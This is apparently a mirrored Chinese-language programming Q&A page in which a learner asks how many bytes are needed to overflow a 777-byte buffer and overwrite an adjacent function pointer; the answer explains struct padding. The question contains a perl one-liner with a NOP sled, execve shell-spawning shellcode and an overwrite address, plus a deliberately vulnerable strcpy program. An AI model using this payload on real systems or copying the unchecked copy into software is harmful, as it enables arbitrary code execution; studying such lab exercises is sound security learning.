【问题标题】:Heap Overflow - Structure of the heap堆溢出 - 堆的结构
【发布时间】:2015-12-14 19:14:52
【问题描述】:

在尝试执行基本堆攻击时,除了输入字符串的大小之外,我什么都懂。可以使用perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"' 作为程序的参数来利用以下代码。使用的 shellcode 长 21 个字节。这里总字符串的大小是 785 字节,即缓冲区的 777 + 我不知道的东西的 4 和我们正在覆盖的函数指针的 4。

我读到here 4 个字节是:

一个指针跟踪堆顶,类似于堆栈的堆栈指针

我的假设正确吗?

#include <stdio.h>
#include <unistd.h>

void greetUser(char *s) {
    printf("Hello %s!\n", s);
}

struct data_t {
    char buf[777];
    void (*fp)(char *);
} somedata;

int main(int argc, char **argv) {
    somedata.fp = &greetUser;

    if(argc < 2) {
    printf("Usage: %s YourName\n", argv[0]);
    exit(1);
    }

    strcpy(somedata.buf, argv[1]);
    (somedata.fp)(somedata.buf);

    return 0;
}

【问题讨论】:

    标签: c heap-memory


    【解决方案1】:

    不,这是不正确的。 你只需要溢出 784 个字节:

     char buf[777];     // 777 bytes
     <padding>          // usually 7 bytes to have fp 8-byte-aligned
    void (*fp)(char *); // 8 bytes function pointer
    

    在 64 位系统上。在 32 位系统上 fp 应该是 4 字节对齐的(因此 fp 在结构开始后 780 字节开始)

    【讨论】:

    • 你能解释一下为什么上面的代码可以工作(加上 4 个字节)而不是没有 4 个字节吗?
    • 正如我所说,前 777 个字节填充了数组 buf[777]。接下来的 3 或 7 个字节(取决于您的架构)覆盖结构中的填充,从而正确对齐指针 fp。覆盖填充完全没有效果,因为没有使用数据。最后,毕竟,复制的下一个字节会覆盖函数指针 fp(它是 4 或 8 个字节,再次取决于您使用的是 ia32 还是 ia64)
    • 顺便说一句,如果漏洞利用真的有效,我会感到惊讶,因为 strcpy 在第一个 0 字节(即返回地址的第一个字节)处停止复制
    • 它正确生成了 shell,也许是其他东西让它工作
    猜你喜欢
    • 2019-05-18
    • 2010-10-15
    • 2013-10-30
    • 2015-06-16
    • 1970-01-01
    • 2011-05-12
    • 2017-02-23
    • 2011-10-26
    • 2011-07-30
    相关资源
    最近更新 更多